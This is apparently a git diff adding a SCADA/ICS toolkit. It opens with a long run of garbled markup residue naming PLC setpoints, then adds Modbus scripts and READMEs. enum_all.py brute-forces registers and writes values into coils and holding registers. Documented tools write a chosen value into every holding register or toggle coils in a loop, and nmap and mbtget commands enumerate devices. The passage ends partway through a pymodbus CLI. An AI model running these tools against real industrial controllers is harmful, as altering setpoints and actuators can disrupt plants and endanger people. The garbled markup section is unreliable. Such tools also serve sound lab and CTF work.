+ + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = 